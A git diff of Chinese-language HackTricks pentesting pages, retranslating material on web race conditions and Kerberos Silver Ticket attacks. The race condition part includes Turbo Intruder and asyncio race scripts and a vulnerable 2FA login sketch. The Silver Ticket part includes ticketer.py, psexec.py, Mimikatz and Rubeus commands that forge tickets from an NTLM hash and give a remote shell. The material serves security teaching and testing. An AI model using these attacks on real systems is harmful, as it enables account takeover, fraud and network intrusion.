* **Tubo Intruder - HTTP2单包攻击（多个端点）**：如果你需要向1个端点发送请求，然后向其他多个端点发送多个请求以触发RCE，你可以修改`race-single-packet-attack.py`脚本，类似于：
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
|
|
@ -130,21 +131,21 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
|||
# send all the queued requests for this attempt
|
||||
engine.openGate(currentAttempt)
|
||||
```
|
||||
* 它还可以通过Burp Suite中的新的“并行发送组”选项在Repeater中使用。
|
||||
* 对于limit-overrun，您可以在组中添加相同的请求50次。
|
||||
* 对于连接预热，您可以在组的开头添加一些请求到Web服务器的非静态部分。
|
||||
* 对于在两个子状态步骤之间延迟处理一个请求和另一个请求，您可以在两个请求之间添加额外的请求。
|
||||
* 对于多端点的RC，您可以开始发送到隐藏状态的请求，然后在其后发送50个利用隐藏状态的请求。
|
||||
* 它也可以在 Burp Suite 的 **Repeater** 中通过新的“**Send group in parallel**”选项使用。
|
||||
* 对于 **limit-overrun**，你可以在组中**添加相同的请求50次**。
|
||||
* 对于 **connection warming**，你可以在**组的开头**添加一些对网站的非静态部分的**请求**。
|
||||
* 为了在处理**一个请求和另一个请求之间**的过程中**延迟**，在两个请求之间你可以**添加额外的请求**。
|
||||
* 对于一个**多端点**的 RC，你可以开始发送**进入隐藏状态的请求**，然后紧接着发送**50个利用隐藏状态的请求**。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 原始BF
|
||||
### 原始 BF
|
||||
|
||||
在之前的研究中，这些是一些用于尝试尽快发送数据包以引发RC的有效载荷。
|
||||
在之前的研究之前，这些是一些使用的有效载荷，它们只是尝试尽可能快地发送数据包以引起 RC。
|
||||
|
||||
* Repeater：请参考前一节中的示例。
|
||||
* Intruder：将请求发送到Intruder，将线程数设置为30，在选项菜单中选择Null有效载荷并生成30个。
|
||||
* Turbo Intruder
|
||||
* **Repeater:** 查看前一节的示例。
|
||||
* **Intruder**: 将**请求**发送到**Intruder**，在**Options 菜单中**设置**线程数**为**30**，选择**Null payloads**作为有效载荷并生成**30个**。
|
||||
* **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
|
|
@ -164,8 +165,6 @@ def handleResponse(req, interesting):
|
|||
table.add(req)
|
||||
```
|
||||
* **Python - asyncio**
|
||||
|
||||
Python的asyncio模块
|
||||
```python
|
||||
import asyncio
|
||||
import httpx
|
||||
|
|
@ -193,130 +192,97 @@ print(results)
|
|||
|
||||
asyncio.run(main())
|
||||
```
|
||||
## **RC方法论**
|
||||
## **RC 方法论**
|
||||
|
||||
### 限制超出/TOCTOU
|
||||
### 超限/TOCTOU
|
||||
|
||||
这是最基本的一种竞争条件，其中**漏洞**出现在**限制您执行某个操作的次数的地方**。比如在网店中多次使用相同的折扣码。一个非常简单的例子可以在[**这份报告**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)或者[**这个漏洞**](https://hackerone.com/reports/759247)**中找到**。
|
||||
这是最基本的竞态条件类型，**漏洞**通常出现在**限制你可以执行某个操作的次数**的地方。例如，在网上商店多次使用同一折扣码。一个非常简单的例子可以在[**这篇报告**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)或[**这个bug**](https://hackerone.com/reports/759247)中找到。
|
||||
|
||||
这种攻击有很多变种，包括：
|
||||
这种攻击有许多变体，包括：
|
||||
|
||||
* 多次兑换礼品卡
|
||||
* 多次评价产品
|
||||
* 超出账户余额提取或转账
|
||||
* 重复使用单个验证码解决方案
|
||||
* 提取或转账超过账户余额的现金
|
||||
* 重复使用单个CAPTCHA解决方案
|
||||
* 绕过反暴力破解速率限制
|
||||
|
||||
### **隐藏的子状态**
|
||||
### **隐藏子状态**
|
||||
|
||||
其他最复杂的竞争条件将利用机器状态中的**子状态**，这可能允许攻击者滥用他本不应该访问的状态，但攻击者有一个**小窗口**可以访问它。
|
||||
更复杂的RC将利用**机器状态中的子状态**，这可能允许攻击者**滥用**他本不应该访问的状态，但存在一个**小窗口**让攻击者能够访问它。
|
||||
|
||||
1. **预测潜在的隐藏和有趣的子状态**
|
||||
1. **预测潜在的隐藏且有趣的子状态**
|
||||
|
||||
第一步是识别所有写入它或从中读取数据并将该数据用于某些重要事项的端点。例如，用户可能存储在一个数据库表中，该表通过注册、配置文件编辑、密码重置启动和密码重置完成进行修改。
|
||||
第一步是识别所有写入或从中读取数据的端点，然后使用该数据进行重要操作。例如，用户可能存储在数据库表中，该表由注册、资料编辑、密码重置启动和密码重置完成等操作修改。
|
||||
|
||||
我们可以使用三个关键问题来排除不太可能引起冲突的端点。对于每个对象和相关的端点，问：
|
||||
我们可以使用三个关键问题来排除不太可能引起冲突的端点。对于每个对象及其关联的端点，问：
|
||||
|
||||
* **状态是如何存储的？**
|
||||
|
||||
存储在持久的服务器端数据结构中的数据非常适合利用。某些端点将其状态完全存储在客户端，例如通过电子邮件发送JWT的密码重置 - 这些可以安全地跳过。
|
||||
存储在持久的服务器端数据结构中的数据是理想的利用目标。一些端点完全在客户端存储它们的状态，例如通过电子邮件发送JWT的密码重置 - 这些可以安全地跳过。
|
||||
|
||||
应用程序通常会在用户会话中存储一些状态。这些通常在一定程度上受到子状态的保护 - 关于此后面会有更多介绍。
|
||||
应用程序通常会在用户会话中存储一些状态。这些通常在一定程度上受到子状态的保护 - 稍后会详细介绍。
|
||||
|
||||
* **我们是在进行编辑还是追加操作？**
|
||||
* **我们是在编辑还是在追加？**
|
||||
|
||||
对现有数据进行编辑的操作（例如更改帐户的主电子邮件地址）具有充足的冲突潜力，而仅仅追加到现有数据的操作（例如添加额外的电子邮件地址）不太可能受到除了限制超出攻击之外的任何漏洞。
|
||||
编辑现有数据的操作（例如更改账户的主要电子邮件地址）具有充足的冲突潜力，而仅仅是追加到现有数据的操作（例如添加额外的电子邮件地址）不太可能受到除超限攻击之外的其他攻击。
|
||||
|
||||
* **操作的键是什么？**
|
||||
* **操作是基于什么关键字？**
|
||||
|
||||
大多数端点都是在特定记录上操作的，该记录是使用“键”查找的，例如用户名、密码重置令牌或文件名。为了成功攻击，我们需要使用相同的键进行两个操作。例如，想象两个合理的密码重置实现：
|
||||
大多数端点操作特定记录，使用'关键字'进行查找，例如用户名、密码重置令牌或文件名。要进行成功的攻击，我们需要两个使用相同关键字的操作。例如，想象两种合理的密码重置实现：
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **寻找线索**
|
||||
|
||||
此时是时候对潜在有趣的端点发起一些RC攻击，以尝试找到与常规响应不同的意外结果。任何与预期响应的改变，如一个或多个响应的变化，或者第二阶效应，如电子邮件内容的不同或会话中的可见变化，都可能是指示出现问题的线索。
|
||||
此时，是时候**发起一些RC攻击**针对潜在有趣的端点，尝试找到与常规结果不同的意外结果。**任何与预期响应的偏差**，例如一个或多个响应的变化，或者像电子邮件内容不同或会话中可见变化的二阶效应，都可能是指示出了问题的线索。
|
||||
|
||||
3. **验证概念**
|
||||
3. **证明概念**
|
||||
|
||||
最后一步是**验证概念并将其转化为可行的攻击**。
|
||||
最后一步是**证明概念并将其转化为可行的攻击**。
|
||||
|
||||
当您发送一批请求时，您可能会发现早期的请求对一个易受攻击的最终状态进行了触发，但后来的请求覆盖/使其无效，最终状态无法利用。在这种情况下，您将希望消除所有不必要的请求 - 两个请求应足以利用大多数漏洞。然而，减少到两个请求将使攻击更加时间敏感，因此您可能需要多次重试攻击或自动化攻击。
|
||||
当你发送一批请求时，你可能会发现一个早期的请求对触发了一个脆弱的最终状态，但后来的请求覆盖/使其无效，最终状态无法利用。在这种情况下，你会想要消除所有不必要的请求 - 两个请求应该足以利用大多数漏洞。然而，减少到两个请求会使攻击更加依赖时机，因此你可能需要多次尝试攻击或自动化它。
|
||||
|
||||
### 时间敏感攻击
|
||||
|
||||
有时您可能找不到竞争条件，但是**以精确的时间传递请求的技术**仍然可以揭示其他漏洞的存在。
|
||||
有时你可能找不到竞态条件，但**精确时机发送请求的技术**仍然可以揭示其他漏洞的存在。
|
||||
|
||||
一个例子是当使用**高分辨率时间戳**而不是加密安全的随机字符串来生成安全令牌时。
|
||||
一个例子是当**高分辨率时间戳被用来代替加密**安全的随机字符串来生成安全令牌。
|
||||
|
||||
考虑一个仅使用时间戳进行随机化的**密码重置令牌**。在这种情况下，可能可以**触发两个不同用户的两个密码重置**，它们都使用**相同的令牌**。您只需要计时请求，以使它们生成相同的时间戳。
|
||||
考虑一个**密码重置令牌仅使用时间戳随机化**的情况。在这种情况下，可能可以**同时触发两个不同用户的密码重置**，它们都使用**相同的令牌**。你需要做的就是使请求的时间精确到它们生成相同的时间戳。
|
||||
|
||||
{% hint style="warning" %}
|
||||
要确认前面的情况，您只需同时请求**2个重置密码令牌**（使用单个数据包攻击），并检查它们是否**相同**。
|
||||
例如，为了确认前面的情况，你可以**同时请求2个重置密码令牌**（使用单个数据包攻击）并检查它们是否**相同**。
|
||||
{% endhint %}
|
||||
|
||||
在[**这个实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)中检查示例。
|
||||
查看[**这个实验室中的例子**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)。
|
||||
|
||||
## 隐藏的子状态案例研究
|
||||
## 隐藏子状态案例研究
|
||||
|
||||
### 支付并添加商品
|
||||
|
||||
[**查看此实验**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)以了解如何在商店中**支付**并**添加一个额外的**商品，而无需为其付款。
|
||||
[**查看这个实验室**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)来了解如何在商店**支付**并**额外添加**一个你**不需要支付**的商品。
|
||||
|
||||
### 确认其他电子邮件
|
||||
|
||||
这个想法是**同时验证一个电子邮件地址并将其更改为另一个地址**，以查看平台是否验证了新的更改后的地址。
|
||||
这个想法是**同时验证一个电子邮件地址并将其更改为另一个**，以找出平台是否验证了更改后的新电子邮件。
|
||||
|
||||
### 将电子邮件更改为2个电子邮件地址基于Cookie
|
||||
### 基于Cookie的更改电子邮件到2个电子邮件地址
|
||||
|
||||
根据[**这篇文章**](https://portswigger.net/research/smashing-the-state-machine)，Gitlab容易受到这种方式的接管，因为它可能会将一个电子邮件的**电子邮件验证令牌发送到另一个电子邮件**。
|
||||
根据[**这篇文章**](https://portswigger.net/research/smashing-the-state-machine)，Gitlab因为可能**将一个电子邮件的验证令牌发送到另一个电子邮件**而容易受到攻击。
|
||||
|
||||
您还可以查看[**这个实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)以了解更多信息。
|
||||
你也可以查看[**这个实验室**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)来了解这一点。
|
||||
|
||||
### 隐藏的数据库状态/确认绕过
|
||||
|
||||
如果使用**2个不同的写入**将**信息添加**到**数据库**中，那么在**只有第一个数据被写入**数据库的一小段时间内。例如，创建用户时，**用户名**和**密码**可能会被**写入**，然后写入用于确认新创建的帐户的**令牌**。这意味着在短时间内**确认帐户的令牌为空**。
|
||||
如果**2个不同的写操作**用于**添加信息**到**数据库**中，会有一小段时间**只有第一个数据被写入**数据库。例如，在创建用户时，**用户名**和**密码**可能会被**写入**，**然后是确认新创建账户的令牌**。这意味着在很短的时间内，**确认账户的令牌是空的**。
|
||||
|
||||
因此，**注册一个帐户并发送多个带有空令牌**（`token=`或`token[]=`或任何其他变体）的请求来立即确认帐户，可以允许确认一个您无法控制电子邮件的帐户。
|
||||
因此，**注册一个账户并发送几个带有空令牌**（`token=` 或 `token[]=` 或任何其他变体）的请求来立即确认账户，可能允许**确认一个你无法控制电子邮件的账户**。
|
||||
|
||||
查看[**这个实验室**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)来查看一个例子。
|
||||
|
||||
在[**这个实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)中检查一个示例。
|
||||
### 绕过2FA
|
||||
|
||||
以下伪代码演示了一个网站如何容易受到这种攻击的竞争变体的影响：
|
||||
|
||||
```python
|
||||
def login(username, password):
|
||||
if verify_credentials(username, password):
|
||||
if not is_2fa_enabled(username):
|
||||
return "Login successful"
|
||||
else:
|
||||
token = generate_2fa_token()
|
||||
send_2fa_token(username, token)
|
||||
return "Please enter 2FA token"
|
||||
else:
|
||||
return "Invalid credentials"
|
||||
|
||||
def verify_2fa_token(username, token):
|
||||
if is_2fa_enabled(username):
|
||||
stored_token = get_stored_2fa_token(username)
|
||||
if token == stored_token:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
else:
|
||||
return False
|
||||
|
||||
def process_login(username, password, token):
|
||||
if verify_credentials(username, password):
|
||||
if verify_2fa_token(username, token):
|
||||
return "Login successful"
|
||||
else:
|
||||
return "Invalid 2FA token"
|
||||
else:
|
||||
return "Invalid credentials"
|
||||
```
|
||||
|
||||
在这个示例中，攻击者可以利用竞争条件来绕过2FA验证。攻击者可以在发送2FA令牌之后但在验证令牌之前尽快完成登录过程，从而绕过2FA验证。这种攻击的成功取决于攻击者能够在验证令牌之前完成登录过程。
|
||||
以下伪代码演示了一个网站如何可能对这种攻击的竞态变体容易受到攻击：
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
|
|
@ -324,24 +290,24 @@ session['enforce_mfa'] = True
|
|||
# generate and send MFA code to user
|
||||
# redirect browser to MFA code entry form
|
||||
```
|
||||
正如你所看到的，这实际上是一个**在单个请求的范围内的多步骤序列**。最重要的是，它会在一个子状态中**临时拥有有效的登录会话，但尚未强制执行MFA**。攻击者可以通过发送登录请求以及对敏感的经过身份验证的端点的请求来利用这一点。
|
||||
正如您所见，这实际上是**在单个请求的时间跨度内的多步骤序列**。最重要的是，它经历了一个子状态，在该子状态中，**用户暂时拥有有效的登录**会话，**但尚未强制执行MFA**。攻击者可能通过发送登录请求以及对敏感的、已认证的端点的请求来利用这一点。
|
||||
|
||||
### OAuth2永久持久性
|
||||
### OAuth2 永久持久化
|
||||
|
||||
有几个[**OAuth提供者**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers)。这些服务将允许您创建一个应用程序并对提供者注册的用户进行身份验证。为了做到这一点，**客户端**将需要**允许您的应用程序**访问**OAuth提供者**内部的一些数据。\
|
||||
所以，到目前为止，只是一个常见的与Google/LinkedIn/GitHub等登录，您会看到一个页面，上面写着：“_应用程序\<InsertCoolName>想要访问您的信息，您是否允许？_”
|
||||
有几个[**OAuth提供商**](https://en.wikipedia.org/wiki/List_of_OAuth_providers)。这些服务允许您创建一个应用程序并认证提供商已注册的用户。为此，**客户端**将需要**允许您的应用程序**访问他们在**OAuth提供商**内的一些数据。\
|
||||
所以，到目前为止，只是一个常见的使用google/linkdin/github...登录，在您被提示一个页面说：“_应用程序\<InsertCoolName>想要访问您的信息，您是否允许？_”
|
||||
|
||||
#### `authorization_code`中的竞争条件
|
||||
#### `authorization_code` 中的竞态条件
|
||||
|
||||
**问题**出现在您**接受并自动发送一个`authorization_code`**给恶意应用程序时。然后，该**应用程序滥用OAuth服务提供者中的竞争条件，从`authorization_code`为您的帐户生成多个AT/RT**（身份验证令牌/刷新令牌）。基本上，它会滥用您已经接受应用程序访问您的数据的事实，以**创建多个帐户**。然后，如果您**停止允许应用程序访问您的数据，一个AT/RT对将被删除，但其他对仍然有效**。
|
||||
**问题**出现在您**接受它**并自动向恶意应用程序发送一个**`authorization_code`**时。然后，这个**应用程序滥用OAuth服务提供商中的竞态条件，从**`authorization_code`**为您的账户生成多个AT/RT**（_认证令牌/刷新令牌_）。基本上，它会滥用您接受应用程序访问您的数据的事实来**创建多个账户**。然后，如果您**停止允许应用程序访问您的数据，一对AT/RT将被删除，但其他的仍然有效**。
|
||||
|
||||
#### `Refresh Token`中的竞争条件
|
||||
#### `Refresh Token` 中的竞态条件
|
||||
|
||||
一旦您**获得了一个有效的RT**，您可以尝试**滥用它来生成多个AT/RT**，即使用户取消了恶意应用程序访问其数据的权限，**多个RT仍然有效**。
|
||||
一旦您**获得了有效的RT**，您可以尝试**滥用它生成多个AT/RT**，并且**即使用户取消了对恶意应用程序访问其数据的权限，多个RT仍然有效。**
|
||||
|
||||
## WebSockets中的竞争条件
|
||||
## **WebSockets 中的RC**
|
||||
|
||||
在[**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC)中，您可以找到一个Java的PoC，用于以**并行**方式发送websocket消息，以滥用**WebSockets中的竞争条件**。
|
||||
在[**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC)中，您可以找到一个用Java编写的PoC，以**并行**发送websocket消息来滥用**Web Sockets中的竞态条件**。
|
||||
|
||||
## 参考资料
|
||||
|
||||
|
|
@ -355,18 +321,18 @@ session['enforce_mfa'] = True
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得最新版本的PEASS或下载PDF格式的HackTricks吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
* 如果您在**网络安全公司**工作？您想在**HackTricks**中看到您的**公司广告**？或者您想要访问**最新版本的PEASS或下载HackTricks的PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**，使用全球**最先进**的社区工具。\
|
||||
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建并**自动化工作流程**，由世界上**最先进的**社区工具提供支持。\
|
||||
立即获取访问权限：
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
|||
|
|
@ -1,30 +1,30 @@
|
|||
# 银票
|
||||
# Silver Ticket
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？你想在 HackTricks 中看到你的**公司广告**吗？或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 如果您在**网络安全公司**工作？您想在**HackTricks**中看到您的**公司广告**？或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘！**（需要流利的波兰语书写和口语能力）。
|
||||
如果您对**黑客职业**感兴趣，并且想要黑入不可黑之物 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 银票
|
||||
## Silver ticket
|
||||
|
||||
银票攻击是基于**在拥有服务的 NTLM 哈希（如 PC 账户哈希）的情况下，构造一个有效的 TGS**。因此，可以通过伪造自定义 TGS **以任何用户的身份**获得对该服务的访问权限。
|
||||
Silver ticket攻击基于**一旦拥有服务的NTLM哈希（如**PC账户哈希**），就制作一个有效的TGS**。因此，可以通过伪造自定义TGS**作为任何用户**来**访问该服务**。
|
||||
|
||||
在这种情况下，拥有了一个计算机账户的 NTLM **哈希**（在 AD 中类似于用户账户）。因此，可以通过 SMB 服务**伪造**一个**票据**，以**管理员**权限进入该计算机。计算机账户默认每30天重置密码。
|
||||
在这种情况下，拥有了**计算机账户的NTLM哈希**（在AD中相当于用户账户）。因此，可以**制作**一个**票据**，以便通过SMB服务以**管理员**权限**进入该机器**。计算机账户默认每30天重置一次密码。
|
||||
|
||||
还必须考虑到可以使用 AES Kerberos 密钥（AES128 和 AES256）**伪造票据是可能的和更好的**（opsec）。要了解如何生成 AES 密钥，请阅读：[MS-KILE 的第4.4节](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) 或 [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372)。
|
||||
还必须考虑到使用AES Kerberos密钥（AES128和AES256）**伪造票据是可能的，也是**更**可取的**（操作安全）。要了解如何生成AES密钥，请阅读：[MS-KILE的第4.4节](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625)或[Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372)。
|
||||
|
||||
{% code title="Linux" %}
|
||||
```bash
|
||||
|
|
@ -32,11 +32,9 @@ python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21
|
|||
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
|
||||
python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
在Windows中，可以使用**Mimikatz**来**构造**票据。然后，使用**Rubeus**注入票据，最后可以通过**PsExec**获得远程shell。
|
||||
|
||||
{% code title="Windows" %}
|
||||
```markdown
|
||||
在Windows中，可以使用**Mimikatz**来**制作** **票据**。接下来，使用**Rubeus**将票据**注入**，最后可以通过**PsExec**获得远程shell。
|
||||
```
|
||||
```bash
|
||||
#Create the ticket
|
||||
mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park"
|
||||
|
|
@ -51,48 +49,48 @@ kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**CIFS**服务允许您访问受害者的文件系统。您可以在此处找到其他服务：[https://adsecurity.org/?page\_id=183](https://adsecurity.org/?page\_id=183)。例如，您可以使用**HOST服务**在计算机上创建一个_schtask_。然后，您可以尝试列出受害者的任务来检查是否成功：`schtasks /S <hostname>`，或者您可以使用**HOST和RPCSS服务**在计算机上执行**WMI**查询，测试方法如下：`Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`
|
||||
**CIFS** 服务允许您**访问受害者的文件系统**。您可以在此找到其他服务：[**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page\_id=183)**。**例如，您可以使用 **HOST 服务** 在计算机上创建一个 _**schtask**_。然后，您可以尝试列出受害者的任务来检查这是否有效：`schtasks /S <hostname>` 或者您可以使用 **HOST 和** **RPCSS 服务** 在计算机上执行 **WMI** 查询，测试它执行：`Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`
|
||||
|
||||
### 缓解措施
|
||||
|
||||
银票事件ID（比黄金票更隐蔽）：
|
||||
Silver ticket 事件 ID（比 golden ticket 更隐蔽）：
|
||||
|
||||
* 4624：账户登录
|
||||
* 4634：账户注销
|
||||
* 4672：管理员登录
|
||||
|
||||
[**有关银票的更多信息，请参阅ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
|
||||
[**关于 Silver Tickets 的更多信息在 ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
|
||||
|
||||
## 可用服务
|
||||
|
||||
| 服务类型 | 服务银票 |
|
||||
| ---------------------------------------- | ---------------------------------------------------------------- |
|
||||
| WMI | <p>HOST</p><p>RPCSS</p> |
|
||||
| PowerShell 远程管理 | <p>HOST</p><p>HTTP</p><p>根据操作系统还可能有：</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
| WinRM | <p>HOST</p><p>HTTP</p><p>在某些情况下，您只需请求：WINRM</p> |
|
||||
| 计划任务 | HOST |
|
||||
| Windows 文件共享，也可以使用psexec | CIFS |
|
||||
| LDAP 操作，包括 DCSync | LDAP |
|
||||
| Windows 远程服务器管理工具 | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
|
||||
| 黄金票 | krbtgt |
|
||||
| 服务类型 | 服务 Silver Tickets |
|
||||
